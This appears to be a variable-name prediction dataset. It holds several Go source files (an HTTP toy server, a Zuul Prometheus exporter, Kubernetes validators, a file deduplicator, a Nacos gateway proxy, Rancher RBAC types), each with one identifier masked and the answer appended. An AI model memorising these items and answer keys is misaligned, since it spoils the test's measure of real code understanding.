Split this yolo-file up into packages. func main() { logger := logrus.New() // Load the graph store. graphStore := &graphStore{} logger.Info(""loaded graphstore"") // Construct an index from it. index := createIndex(graphStore) logger.Info(""loaded index"") logger.Info(""starting server"") // Create a handler and serve. handler := &httpHandler{index: index} http.HandleFunc(nodesPath, handler.nodes) http.HandleFunc(nodePathPattern, handler.node) http.ListenAndServe("":8080"", nil) } // http type httpHandler struct { index *graphIndex } func (h *httpHandler) nodes(w http.ResponseWriter, r *http.Request) { w.Header().Set(""Content-Type"", ""text/html"") fmt.Fprintf(w, ""Hello world. Nodes: \n"") names := h.index.List() for _, name := range names { fmt.Fprintf(w, ""%s\n"", nodePathPattern, name, name) } } func (h *httpHandler) node(w http.ResponseWriter, r *http.Request) { w.Header().Set(""Content-Type"", ""text/html"") [MASK] := strings.TrimPrefix(r.URL.Path, nodePathPattern) fmt.Fprintf(w, ""Hello world. Node name: %s"", [MASK] ) } // storage type graphStore struct { } // indexing func createIndex(graphStore *graphStore) *graphIndex { return &graphIndex{ nodes: []*nodeInfo{ &nodeInfo{name: ""name1"", message: ""m1""}, &nodeInfo{name: ""name2"", message: ""m2""}, }, } } type graphIndex struct { nodes []*nodeInfo } type nodeInfo struct { name string message string } // List returns the list of node names available in this index. func (i *graphIndex) List() []string { result := []string{} for _, node := range i.nodes { result = append(result, node.name) } return result } // Get return the available information about the supplied node. func (i *graphIndex) Get(vname string) (*nodeInfo, error) { return &nodeInfo{ message: ""some node"", }, nil } ",nodeName 600,"// Copyright 2013 The Prometheus Authors // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package main import ( ""fmt"" ""io/ioutil"" ""net"" ""net/http"" ""strings"" ""sync"" ""github.com/prometheus/client_golang/prometheus"" ""github.com/prometheus/common/log"" ""github.com/prometheus/common/version"" ""gopkg.in/alecthomas/kingpin.v2"" ) const ( namespace = ""zuul"" // For Prometheus metrics. ) func init() { prometheus.MustRegister(version.NewCollector(""zuul_exporter"")) } type zuulHost struct { hostname string port string } type Exporter struct { scrapeHosts []zuulHost mutex sync.Mutex client *http.Client up *prometheus.Desc scrapeFailures prometheus.Counter zuulVersion *prometheus.Desc } func NewExporter(zuulhosts []zuulHost) *Exporter { return &Exporter{ scrapeHosts: zuulhosts, client: &http.Client{ Transport: &http.Transport{ TLSClientConfig: nil}, }, up: prometheus.NewDesc( prometheus.BuildFQName(namespace, """", ""up""), ""Could the zuul server be reached"", []string{""host""}, nil), scrapeFailures: prometheus.NewCounter(prometheus.CounterOpts{ Namespace: namespace, Name: ""exporter_scrape_failures_total"", Help: ""Number of errors while scraping apache."", }), zuulVersion: prometheus.NewDesc( prometheus.BuildFQName(namespace, """", ""version""), ""The version of zuul server"", nil, nil), } } func (e *Exporter) Describe(ch chan<- *prometheus.Desc) { ch <- e.up e.scrapeFailures.Describe(ch) ch <- e.zuulVersion } func (e *Exporter) collect(ch chan<- prometheus.Metric) error { for _, host := range e.scrapeHosts { scrapeURI := ""http://"" + host.hostname + "":"" + host.port + ""/status"" resp, err := e.client.Get(scrapeURI) if err != nil { ch <- prometheus.MustNewConstMetric(e.up, prometheus.GaugeValue, 0, host.hostname) return fmt.Errorf(""Error scraping zuul: %v"", err) } ch <- prometheus.MustNewConstMetric(e.up, prometheus.GaugeValue, 1, host.hostname) data, err := ioutil.ReadAll(resp.Body) resp.Body.Close() if resp.StatusCode != 200 { if err != nil { data = []byte(err.Error()) } return fmt.Errorf(""Status %s (%d): %s"", resp.Status, resp.StatusCode, data) } } return nil } func (e *Exporter) Collect(ch chan<- prometheus.Metric) { e.mutex.Lock() // To protect metrics from concurrent collects. defer e.mutex.Unlock() if err := e.collect(ch); err != nil { log.Errorf(""Error scraping zuul: %s"", err) e.scrapeFailures.Inc() e.scrapeFailures.Collect(ch) } return } func main() { var ( listenAddress = kingpin.Flag(""web.listen-address"", ""The address on which to expose the web interface and generated Prometheus metrics."").Default("":9532"").String() metricsEndpoint = kingpin.Flag(""web.telemetry-path"", ""Path under which to expose metrics."").Default(""/metrics"").String() [MASK] = kingpin.Flag(""zuul.listen-address-list"", ""The zuul list addresses."").Default("""").String() ) log.AddFlags(kingpin.CommandLine) kingpin.Version(version.Print(""zuul_exporter"")) kingpin.HelpFlag.Short('h') kingpin.Parse() zuulhosts := []zuulHost{} if * [MASK] == """" { log.Fatalln(""zuul.listen-address-list must be specified for collect metrics."") } for _, address := range strings.Split(* [MASK] , "","") { host, port, err := net.SplitHostPort(address) if err != nil { log.Fatalln(""Bad one zuul listen address: %s ."", address) } zuulhosts = append(zuulhosts, zuulHost{hostname: host, port: port}) } exporter := NewExporter(zuulhosts) prometheus.MustRegister(exporter) log.Infoln(""Starting Zuul -> Prometheus Exporter"", version.Info()) log.Infoln(""Build context"", version.BuildContext()) log.Infof(""Accepting zuul address: %s"", * [MASK] ) log.Infof(""Accepting Prometheus Requests on %s"", *listenAddress) http.Handle(*metricsEndpoint, prometheus.Handler()) http.HandleFunc(""/"", func(w http.ResponseWriter, r *http.Request) { w.Write([]byte(` Zuul Exporter

Zuul Exporter

Metrics

`)) }) log.Fatal(http.ListenAndServe(*listenAddress, nil)) } ",zuulAddressList 601,"package validation import ""regexp"" const ( K8S_NAME_PATTERN = `^[a-z]([-a-z0-9]*[a-z0-9])?$` K8S_DOMAIN_PATTERN = `^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z]{2,20}$` ) var ( // Compile the regular expression reNamePattern = regexp.MustCompile(K8S_NAME_PATTERN) reDomainPattern = regexp.MustCompile(K8S_DOMAIN_PATTERN) ) // Kubernetes namespace name must match this regular expression: // ^[a-z]([-a-z0-9]*[a-z0-9])?$ // - Must start with a lowercase letter or digit. // - Can contain lowercase letters, digits, and dashes. // - Must end with a lowercase letter or digit. // - Can be up to 63 characters long. func K8sCheckName(name string) bool { // check long if len(name) < 1 || len(name) > 63 { return false } // Check if the name matches the pattern return reNamePattern.MatchString(name) } func K8sCheckDomain( [MASK] string) bool { // check long if len( [MASK] ) < 4 || len( [MASK] ) > 63 { return false } // Check if the name matches the pattern return reDomainPattern.MatchString( [MASK] ) } ",domain 602,"// SPDX-License-Identifier: Apache-2.0 package main import ( ""net"" ""os"" goruntime ""runtime"" ""github.com/spf13/pflag"" ""sigs.k8s.io/controller-runtime/pkg/log/zap"" ""github.com/samba-in-kubernetes/smbmetrics/internal/metrics"" ) var ( // Version of the software at compile time. Version = ""(unset)"" // CommitID of the revision used to compile the software. CommitID = ""(unset)"" ) func init() { metrics.UpdateDefaultVersions(Version, CommitID) } func main() { var port int pflag.IntVar(&port, ""port"", metrics.DefaultMetricsPort, ""Prometheus metrics-exporter port number"") var bindAddress net.IP pflag.IPVar(&bindAddress, ""address"", bindAddress, ""Prometheus metrics-exporter bind address"") var noProfile bool pflag.BoolVar(&noProfile, ""no-profile"", false, ""Run without collecting profile information"") pflag.Parse() log := zap.New(zap.UseDevMode(true)) log.Info(""Initializing smbmetrics"", ""ProgramName"", os.Args[0], ""GoVersion"", goruntime.Version()) vers, _ := metrics.ResolveVersions(nil) log.Info(""Versions"", ""Versions"", vers) [MASK] := metrics.GetSelfPodID() if len( [MASK] .Name) > 0 { log.Info(""Self"", ""PodID"", [MASK] ) } loc, err := metrics.LocateSMBStatus() if err != nil { log.Error(err, ""Failed to locate smbstatus"") os.Exit(1) } ver, err := metrics.RunSMBStatusVersion() if err != nil { log.Error(err, ""Failed to run smbstatus"") os.Exit(1) } log.Info(""Located smbstatus"", ""path"", loc, ""version"", ver) var bindAddrs []net.IP if len(bindAddress) > 0 { bindAddrs = append(bindAddrs, bindAddress) log.Info(""User supplied bind addresses"", ""bindAddrs"", bindAddrs) } err = metrics.RunSmbMetricsExporter(log, port, bindAddrs, !noProfile) if err != nil { os.Exit(1) } } ",podid 603,"package unique import ( ""bytes"" ""compress/gzip"" ""crypto/sha1"" ""encoding/hex"" ""encoding/json"" ""fmt"" ""io"" ""os"" ""path/filepath"" ""sort"" ""time"" ) var ( _nameBin string _nameData string _nameConf string _nameDB string config Config ) func initPath() { path, err := filepath.Abs(os.Args[0]) panicIfError(os.Args[0], err) dir, bin := filepath.Split(path) _nameBin = filepath.Join(dir, bin) _nameData = _nameBin + ""_db"" os.Mkdir(_nameData, 0o755) _nameConf = filepath.Join(_nameData, ""config.json"") _nameDB = filepath.Join(_nameData, ""db.json"") data, err := os.ReadFile(_nameConf) if os.IsNotExist(err) { config = Config{ Dirs: []Dir{{ Dir: ""."", KeepMode: ""none"", }}, Ignore: []string{"".git""}, Compress: true, } b, _ := json.MarshalIndent(config, """", "" "") panicIfError(_nameConf, os.WriteFile(_nameConf, b, 0o755)) } else { panicIfError(_nameConf, err) panicIfError(_nameConf, json.Unmarshal(data, &config)) } _, err = os.Stat(_nameDB) if os.IsNotExist(err) { data, _ = compress([]byte{'[', ']'}) err = os.WriteFile(_nameDB, data, 0o755) } panicIfError(_nameDB, err) } // Dir config // ""full"", path keep full dir name // ""base"", path keep base dir name // ""none"", path keep none dir name type Dir struct { Dir string `json:""dir""` KeepMode string `json:""keep_mode""` } type Config struct { Dirs []Dir `json:""dirs""` // scan dirs, default is '.' Ignore []string `json:""ignore""` // ignore all dir name, default is '.git' Compress bool `json:""compress""` } type FileItem struct { Path string `json:""path""` // primary key Sha1 string `json:""sha1,omitempty""` Size int64 `json:""size""` Mtime time.Time `json:""mtime""` trim string `json:""-""` } func FileIter(dir string, ltrim int, ignore func(string) bool, fileCh chan<- FileItem) { entries, err := os.ReadDir(dir) panicIfError(dir, err) for idx := range entries { entry := entries[idx] p := filepath.Join(dir, entry.Name()) if p == _nameBin || p == _nameData { continue } if entry.IsDir() { if !ignore(entry.Name()) { FileIter(p, ltrim, ignore, fileCh) } } else if entry.Type().IsRegular() { info, err := entry.Info() panicIfError(p, err) fullPath := filepath.Join(dir, info.Name()) fileCh <- FileItem{ trim: fullPath[:ltrim], Path: fullPath[ltrim:], Size: info.Size(), Mtime: info.ModTime(), } } } } func Run() { initPath() fmt.Println(""Run bin:"", _nameBin) fmt.Println(""Run data:"", _nameData) var [MASK] []*FileItem var filesNew []string var filesUpdate []string var filesDel []string var filesRepeat []struct { Sha1 string Path string } mapFilesDel := make(map[string]struct{}) data, err := os.ReadFile(_nameDB) panicIfError(_nameDB, err) data, err = decompress(data) panicIfError(_nameDB, err) panicIfError(_nameDB, json.Unmarshal(data, & [MASK] )) mapByPath := make(map[string]*FileItem) for _, fi := range [MASK] { if _, exist := mapByPath[fi.Path]; exist { panicIfError(fi.Path, os.ErrExist) } mapByPath[fi.Path] = fi mapFilesDel[fi.Path] = struct{}{} } fileCh := make(chan FileItem) errCh := make(chan any, 1) go func() { defer func() { if p := recover(); p != nil { errCh <- p } else { close(fileCh) } }() mapIgnore := make(map[string]struct{}) for _, name := range config.Ignore { mapIgnore[name] = struct{}{} } ignore := func(name string) bool { _, exist := mapIgnore[name] return exist } for _, dir := range config.Dirs { var trim string fullDir, errg := filepath.Abs(dir.Dir) panicIfError(dir.Dir, errg) switch dir.KeepMode { case ""base"": trim, _ = filepath.Split(fullDir) case ""none"": trim, _ = filepath.Split(filepath.Join(fullDir, ""none"")) } fmt.Println(""List path:"", fullDir) fmt.Println(""List trim:"", trim) FileIter(fullDir, len(trim), ignore, fileCh) } }() loadPath := make(map[string]string) mapBySize := make(map[int64][]*FileItem) done := false for !done { select { case f, ok := <-fileCh: if !ok { done = true continue } if trim, exist := loadPath[f.Path]; exist { panicIfError(filepath.Join(trim, f.Path)+""\n""+ filepath.Join(f.trim, f.Path), os.ErrExist) } loadPath[f.Path] = f.trim delete(mapFilesDel, f.Path) fi, exists := mapByPath[f.Path] if !exists { filesNew = append(filesNew, f.Path) fi = &FileItem{ Path: f.Path, Size: f.Size, Mtime: f.Mtime, } mapByPath[f.Path] = fi } if !fi.Mtime.Equal(f.Mtime) { filesUpdate = append(filesUpdate, f.Path) fi.Sha1 = """" fi.Size = f.Size fi.Mtime = f.Mtime } if fi.Size > 0 { mapBySize[fi.Size] = append(mapBySize[fi.Size], fi) } case err := <-errCh: panic(err) } } mapBySha1 := make(map[string][]string) for _, files := range mapBySize { if len(files) <= 1 { continue } for _, fi := range files { if fi.Sha1 == """" { fi.Sha1 = calSha1(filepath.Join(loadPath[fi.Path], fi.Path), fi.Size) } mapBySha1[fi.Sha1] = append(mapBySha1[fi.Sha1], fi.Path) } } for key := range mapBySha1 { if len(mapBySha1[key]) <= 1 { delete(mapBySha1, key) } } if len(filesNew)+len(filesUpdate)+len(mapFilesDel)+len(mapBySha1) == 0 { return } for path := range mapFilesDel { filesDel = append(filesDel, path) } sort.Strings(filesDel) for sha1 := range mapBySha1 { filesRepeat = append(filesRepeat, struct { Sha1 string Path string }{ Sha1: sha1, Path: mapBySha1[sha1][0], }) sort.Strings(mapBySha1[sha1]) } sort.Slice(filesRepeat, func(i, j int) bool { return filesRepeat[i].Path < filesRepeat[j].Path }) result := filepath.Join(_nameData, time.Now().Format( ""2006-01-02.15_04_05.000000000"")+"".txt"") rf, err := os.Create(result) panicIfError(result, err) writeLine := func(space, path string) { rf.WriteString(space) rf.WriteString(path) rf.WriteString(""\n"") } for key, files := range map[string][]string{ ""New"": filesNew, ""Update"": filesUpdate, ""Delete"": filesDel, } { for idx, path := range files { if idx == 0 { rf.WriteString(""Files "") rf.WriteString(key + "":\n"") } writeLine("" "", path) } } for idx, sha1 := range filesRepeat { if idx == 0 { rf.WriteString(""Files Repeated:\n"") } writeLine("" "", sha1.Sha1) for _, path := range mapBySha1[sha1.Sha1] { writeLine("" "", path) } } rf.Close() filesSave := make([]*FileItem, 0, len( [MASK] )) for _, fi := range mapByPath { if _, exists := mapFilesDel[fi.Path]; !exists { filesSave = append(filesSave, fi) } } sort.Slice(filesSave, func(i, j int) bool { return filesSave[i].Path < filesSave[j].Path }) data, err = json.MarshalIndent(filesSave, """", "" "") panicIfError(_nameDB, err) data, err = compress(data) panicIfError(_nameDB, err) if err = os.WriteFile(_nameDB, data, 0o755); err != nil { panicIfError(_nameDB, err) } } func Decompress(path string) { config.Compress = true fmt.Println(""Compress :"", path) data, err := os.ReadFile(path) panicIfError(path, err) data, err = decompress(data) panicIfError(path, err) panicIfError(path, os.WriteFile(path+"".dec.json"", data, 0o755)) } func calSha1(p string, n int64) string { file, err := os.Open(p) panicIfError(p, err) defer file.Close() hash := sha1.New() _, err = io.CopyN(hash, file, n) panicIfError(p, err) return hex.EncodeToString(hash.Sum(nil)) } func panicIfError(path string, err error) { if err != nil { panic(fmt.Sprintf(""path: %s\n%s"", path, err.Error())) } } func compress(pb []byte) ([]byte, error) { if !config.Compress { return pb, nil } buffer := new(bytes.Buffer) gw := gzip.NewWriter(buffer) if _, err := gw.Write(pb); err != nil { return nil, err } if err := gw.Close(); err != nil { return nil, err } return buffer.Bytes(), nil } func decompress(cb []byte) ([]byte, error) { if !config.Compress { return cb, nil } gr, err := gzip.NewReader(bytes.NewBuffer(cb)) if err != nil { return nil, err } buffer := new(bytes.Buffer) if _, err := io.Copy(buffer, gr); err != nil { return nil, err } if err := gr.Close(); err != nil { return nil, err } return buffer.Bytes(), nil } ",filesLoad 604,"package main import ( ""fmt"" ""github.com/gin-gonic/gin"" wr ""github.com/mroth/weightedrand"" ""github.com/nacos-group/nacos-sdk-go/clients"" ""github.com/nacos-group/nacos-sdk-go/clients/naming_client"" ""github.com/nacos-group/nacos-sdk-go/common/constant"" ""github.com/nacos-group/nacos-sdk-go/model"" ""github.com/nacos-group/nacos-sdk-go/vo"" ""math/rand"" ""net/http"" ""net/http/httputil"" ""net/url"" ""strings"" ""sync"" ""time"" ) var rwLock *sync.RWMutex //读写锁 var client naming_client.INamingClient //nacos客户端 var ServiceRoute map[string][]model.SubscribeService //本地服务缓存 func main() { rand.Seed(time.Now().UTC().UnixNano()) ServiceRoute = make(map[string][]model.SubscribeService) rwLock = new(sync.RWMutex) //初始化Nacos配置相关信息 initDiscovery() //订阅服务 subServices() gin.SetMode(gin.ReleaseMode) route := gin.New() route.Use(func(context *gin.Context) { beginTime := time.Now().UnixNano() Middleware(context.Writer, context.Request) endTime := time.Now().UnixNano() fmt.Println(endTime - beginTime) }) route.Run("":5050"") } func Middleware(response http.ResponseWriter, request *http.Request) { //获取url 即 问号之前那部分 urlString := request.RequestURI if strings.Index(urlString, ""?"") > 0 { urlString = urlString[0:strings.Index(urlString, ""?"")] } //如果是默认根目录,则返回204 if urlString == ""/"" { response.WriteHeader(204) return } //取url串的第一节的小写字母为服务名 如/A/b/c 则a为当前要请求的服务名 serviceName := strings.ToLower(strings.Split(urlString, ""/"")[1]) //如果不存在,则返回404 if _, ok := ServiceRoute[serviceName]; !ok { response.WriteHeader(404) return } //按权重填充,并随机抽取一个值 var choices []wr.Choice rwLock.RLock() for _, instance := range ServiceRoute[serviceName] { c := wr.Choice{Item: fmt.Sprintf(""http://%s:%d"", instance.Ip, instance.Port), Weight: uint(instance.Weight)} choices = append(choices, c) } rwLock.RUnlock() chooser, _ := wr.NewChooser(choices...) targetHost := chooser.Pick().(string) targetHost = ""http://127.0.0.1:5151"" remote, err := url.Parse(targetHost) if err != nil { panic(err) } [MASK] := httputil.NewSingleHostReverseProxy(remote) [MASK] .ServeHTTP(response, request) } func initDiscovery() { sc := []constant.ServerConfig{ { IpAddr: ""mse-e52dbdd6-p.nacos-ans.mse.aliyuncs.com"", Port: 8848, Scheme: ""http"", }, } cc := constant.ClientConfig{ TimeoutMs: 500, NamespaceId: ""27fdefc2-ae39-41fd-bac4-9256acbf97bc"", //CacheDir: ""e:/nacos/cache"", NotLoadCacheAtStart: true, UpdateCacheWhenEmpty: false, //LogDir: ""e:/nacos/log"", } client, _ = clients.CreateNamingClient(map[string]interface{}{ ""serverConfigs"": sc, ""clientConfig"": cc, }) } func subServices() { //从nacos上拉取注册的服务列表 services, _ := client.GetAllServicesInfo(vo.GetAllServiceInfoParam{ PageNo: 1, PageSize: 9999, }) //对列表中的每一个服务都订阅 for _, v := range services.Doms { client.Subscribe(&vo.SubscribeParam{ ServiceName: v, SubscribeCallback: changeNotity, }) } } func changeNotity(subInstances []model.SubscribeService, err error) { //不处理空推送 if len(subInstances) == 0 { return } //遍历订阅服务列表 for _, subInstance := range subInstances { //判断当前服务是否存在本地服务路由表中,如果不在则加入进去 if _, ok := ServiceRoute[subInstance.ServiceName]; !ok { ServiceRoute[subInstance.ServiceName] = append(ServiceRoute[subInstance.ServiceName], subInstance) continue } //当前 根据服务名、IP、端口 确定该服务是否已登记,后续可考虑加入版本号 hasThisInstance := false currentInstanceIndex := -1 for i, currentLocalInstance := range ServiceRoute[subInstance.ServiceName] { if currentLocalInstance.ServiceName == subInstance.ServiceName && currentLocalInstance.Ip == subInstance.Ip && currentLocalInstance.Port == subInstance.Port { hasThisInstance = true currentInstanceIndex = i break } } //如果当前实例不存在就登记进来 if !hasThisInstance && subInstance.Valid == true { ServiceRoute[subInstance.ServiceName] = append(ServiceRoute[subInstance.ServiceName], subInstance) } //如果已存在,且推送的状态为Valid,则移除掉 if hasThisInstance && subInstance.Valid == false { beforeList := ServiceRoute[subInstance.ServiceName][:currentInstanceIndex] afterList := ServiceRoute[subInstance.ServiceName][currentInstanceIndex+1:] rwLock.Lock() ServiceRoute[subInstance.ServiceName] = append(beforeList, afterList...) rwLock.Unlock() } } } ",proxy 605,"package v3 import ( ""strings"" ""github.com/rancher/norman/condition"" ""github.com/rancher/norman/types"" v1 ""k8s.io/api/core/v1"" policyv1 ""k8s.io/api/policy/v1beta1"" rbacv1 ""k8s.io/api/rbac/v1"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ) var ( NamespaceBackedResource condition.Cond = ""BackingNamespaceCreated"" CreatorMadeOwner condition.Cond = ""CreatorMadeOwner"" DefaultNetworkPolicyCreated condition.Cond = ""DefaultNetworkPolicyCreated"" ProjectConditionDefaultNamespacesAssigned condition.Cond = ""DefaultNamespacesAssigned"" ProjectConditionInitialRolesPopulated condition.Cond = ""InitialRolesPopulated"" ProjectConditionMonitoringEnabled condition.Cond = ""MonitoringEnabled"" ProjectConditionMetricExpressionDeployed condition.Cond = ""MetricExpressionDeployed"" ProjectConditionSystemNamespacesAssigned condition.Cond = ""SystemNamespacesAssigned"" ) // +genclient // +kubebuilder:skipversion // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object type Project struct { types.Namespaced metav1.TypeMeta `json:"",inline""` metav1.ObjectMeta `json:""metadata,omitempty""` Spec ProjectSpec `json:""spec,omitempty""` Status ProjectStatus `json:""status""` } func (p *Project) ObjClusterName() string { return p.Spec.ObjClusterName() } type ProjectStatus struct { Conditions []ProjectCondition `json:""conditions""` PodSecurityPolicyTemplateName string `json:""podSecurityPolicyTemplateId""` MonitoringStatus *MonitoringStatus `json:""monitoringStatus,omitempty"" norman:""nocreate,noupdate""` } type ProjectCondition struct { // Type of project condition. Type string `json:""type""` // Status of the condition, one of True, False, Unknown. Status v1.ConditionStatus `json:""status""` // The last time this condition was updated. LastUpdateTime string `json:""lastUpdateTime,omitempty""` // Last time the condition transitioned from one status to another. LastTransitionTime string `json:""lastTransitionTime,omitempty""` // The reason for the condition's last transition. Reason string `json:""reason,omitempty""` // Human-readable message indicating details about last transition Message string `json:""message,omitempty""` } type ProjectSpec struct { DisplayName string `json:""displayName,omitempty"" norman:""required""` Description string `json:""description""` ClusterName string `json:""clusterName,omitempty"" norman:""required,type=reference[cluster]""` ResourceQuota *ProjectResourceQuota `json:""resourceQuota,omitempty""` NamespaceDefaultResourceQuota *NamespaceResourceQuota `json:""namespaceDefaultResourceQuota,omitempty""` ContainerDefaultResourceLimit *ContainerResourceLimit `json:""containerDefaultResourceLimit,omitempty""` EnableProjectMonitoring bool `json:""enableProjectMonitoring"" norman:""default=false""` } func (p *ProjectSpec) ObjClusterName() string { return p.ClusterName } // +genclient // +kubebuilder:skipversion // +genclient:nonNamespaced // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object type GlobalRole struct { metav1.TypeMeta `json:"",inline""` metav1.ObjectMeta `json:""metadata,omitempty""` DisplayName string `json:""displayName,omitempty"" norman:""required""` Description string `json:""description""` Rules []rbacv1.PolicyRule `json:""rules,omitempty""` NewUserDefault bool `json:""newUserDefault,omitempty"" norman:""required""` Builtin bool `json:""builtin"" norman:""nocreate,noupdate""` } // +genclient // +kubebuilder:skipversion // +genclient:nonNamespaced // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object type GlobalRoleBinding struct { metav1.TypeMeta `json:"",inline""` metav1.ObjectMeta `json:""metadata,omitempty""` UserName string `json:""userName,omitempty"" norman:""noupdate,type=reference[user]""` GroupPrincipalName string `json:""groupPrincipalName,omitempty"" norman:""noupdate,type=reference[principal]""` GlobalRoleName string `json:""globalRoleName,omitempty"" norman:""required,noupdate,type=reference[globalRole]""` } // +genclient // +genclient:nonNamespaced // +kubebuilder:resource:scope=Cluster // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object // RoleTemplate holds configuration for a template that is used to create kubernetes Roles and ClusterRoles // (in the rbac.authorization.k8s.io group) for a cluster or project. type RoleTemplate struct { metav1.TypeMeta `json:"",inline""` metav1.ObjectMeta `json:""metadata,omitempty""` // DisplayName is the human-readable name displayed in the UI for this resource. DisplayName string `json:""displayName,omitempty"" norman:""required""` // Description holds text that describes the resource. // +optional Description string `json:""description""` // Rules hold all the PolicyRules for this RoleTemplate. // +optional Rules []rbacv1.PolicyRule `json:""rules,omitempty""` // Builtin if true specifies that this RoleTemplate was created by Rancher and is immutable. // Default to false. // +optional Builtin bool `json:""builtin"" norman:""nocreate,noupdate""` // External if true specifies that rules for this RoleTemplate should be gathered from a ClusterRole with the matching name. // If set to true the Rules on the template will not be evaluated. // External's value is only evaluated if the RoleTemplate's context is set to ""cluster"" // Default to false. // +optional External bool `json:""external""` // Hidden if true informs the Rancher UI not to display this RoleTemplate. // Default to false. // +optional Hidden bool `json:""hidden""` // Locked if true, new bindings will not be able to use this RoleTemplate. // Default to false. // +optional Locked bool `json:""locked,omitempty"" norman:""type=boolean""` // ClusterCreatorDefault if true, a binding with this RoleTemplate will be created for a users when they create a new cluster. // ClusterCreatorDefault is only evaluated if the context of the RoleTemplate is set to cluster. // Default to false. // +optional ClusterCreatorDefault bool `json:""clusterCreatorDefault,omitempty"" norman:""required""` // ProjectCreatorDefault if true, a binding with this RoleTemplate will be created for a user when they create a new project. // ProjectCreatorDefault is only evaluated if the context of the RoleTemplate is set to project. // Default to false. // +optional ProjectCreatorDefault bool `json:""projectCreatorDefault,omitempty"" norman:""required""` // Context describes if the roleTemplate applies to clusters or projects. // Valid values are ""project"", ""cluster"" or """". // +kubebuilder:validation:Enum={""project"",""cluster"",""""} Context string `json:""context,omitempty"" norman:""type=string,options=project|cluster""` // RoleTemplateNames list of RoleTemplate names that this RoleTemplate will inherit. // This RoleTemplate will grant all rules defined in an inherited RoleTemplate. // Inherited RoleTemplates must already exist. // +optional RoleTemplateNames []string `json:""roleTemplateNames,omitempty"" norman:""type=array[reference[roleTemplate]]""` // Administrative if false, and context is set to cluster this RoleTemplate will not grant access to ""CatalogTemplates"" and ""CatalogTemplateVersions"" for any project in the cluster. // Default is false. // +optional Administrative bool `json:""administrative,omitempty""` } // +genclient // +kubebuilder:skipversion // +genclient:nonNamespaced // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object type PodSecurityPolicyTemplate struct { metav1.TypeMeta `json:"",inline""` metav1.ObjectMeta `json:""metadata,omitempty""` Description string `json:""description""` Spec policyv1.PodSecurityPolicySpec `json:""spec,omitempty""` } // +genclient // +kubebuilder:skipversion // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object type PodSecurityPolicyTemplateProjectBinding struct { types.Namespaced metav1.TypeMeta `json:"",inline""` metav1.ObjectMeta `json:""metadata,omitempty""` PodSecurityPolicyTemplateName string `json:""podSecurityPolicyTemplateId"" norman:""required,type=reference[podSecurityPolicyTemplate]""` TargetProjectName string `json:""targetProjectId"" norman:""required,type=reference[project]""` } // +genclient // +kubebuilder:skipversion // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object // ProjectRoleTemplateBinding is the object representing membership of a subject in a project with permissions // specified by a given role template. type ProjectRoleTemplateBinding struct { types.Namespaced `json:"",inline""` metav1.TypeMeta `json:"",inline""` metav1.ObjectMeta `json:""metadata,omitempty""` // UserName is the name of the user subject added to the project. Immutable. // +optional UserName string `json:""userName,omitempty"" norman:""noupdate,type=reference[user]""` // UserPrincipalName is the name of the user principal subject added to the project. Immutable. // +optional UserPrincipalName string `json:""userPrincipalName,omitempty"" norman:""noupdate,type=reference[principal]""` // GroupName is the name of the group subject added to the project. Immutable. // +optional GroupName string `json:""groupName,omitempty"" norman:""noupdate,type=reference[group]""` // GroupPrincipalName is the name of the group principal subject added to the project. Immutable. // +optional GroupPrincipalName string `json:""groupPrincipalName,omitempty"" norman:""noupdate,type=reference[principal]""` // ProjectName is the name of the project to which a subject is added. Immutable. // +kubebuilder:validation:Required ProjectName string `json:""projectName,omitempty"" norman:""required,noupdate,type=reference[project]""` // RoleTemplateName is the name of the role template that defines permissions to perform actions on resources in the project. Immutable. // +kubebuilder:validation:Required RoleTemplateName string `json:""roleTemplateName,omitempty"" norman:""required,noupdate,type=reference[roleTemplate]""` // ServiceAccount is the name of the service account bound as a subject. Immutable. // +optional ServiceAccount string `json:""serviceAccount,omitempty"" norman:""nocreate,noupdate""` } func (p *ProjectRoleTemplateBinding) ObjClusterName() string { if [MASK] := strings.SplitN(p.ProjectName, "":"", 2); len( [MASK] ) == 2 { return [MASK] [0] } return """" } // +genclient // +kubebuilder:skipversion // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object type ClusterRoleTemplateBinding struct { types.Namespaced metav1.TypeMeta `json:"",inline""` metav1.ObjectMeta `json:""metadata,omitempty""` UserName string `json:""userName,omitempty"" norman:""noupdate,type=reference[user]""` UserPrincipalName string `json:""userPrincipalName,omitempty"" norman:""noupdate,type=reference[principal]""` GroupName string `json:""groupName,omitempty"" norman:""noupdate,type=reference[group]""` GroupPrincipalName string `json:""groupPrincipalName,omitempty"" norman:""noupdate,type=reference[principal]""` ClusterName string `json:""clusterName,omitempty"" norman:""required,noupdate,type=reference[cluster]""` RoleTemplateName string `json:""roleTemplateName,omitempty"" norman:""required,noupdate,type=reference[roleTemplate]""` } func (c *ClusterRoleTemplateBinding) ObjClusterName() string { return c.ClusterName } type SetPodSecurityPolicyTemplateInput struct { PodSecurityPolicyTemplateName string `json:""podSecurityPolicyTemplateId"" norman:""type=reference[podSecurityPolicyTemplate]""` } ",parts 606,"package db import ( ""context"" ""encoding/base64"" ""errors"" ""sync"" ""time"" ""github.com/coreos/etcd/clientv3"" ""github.com/coreos/etcd/mvcc/mvccpb"" log ""github.com/sirupsen/logrus"" ""go.etcd.io/etcd/clientv3/concurrency"" ""github.com/wujie1993/kube-framework/pkg/e"" ""github.com/wujie1993/kube-framework/pkg/setting"" ) const ( KVActionTypeSet = ""set"" KVActionTypeDelete = ""delete"" ) var KV KVStorage var ClientV3 *clientv3.Client type KVStorage interface { Get(string) (string, error) Set(string, string) error List(string, bool) (map[string]string, error) Delete(string) (string, error) Range(string, string) (map[string]string, error) Watch(context.Context, string, bool) 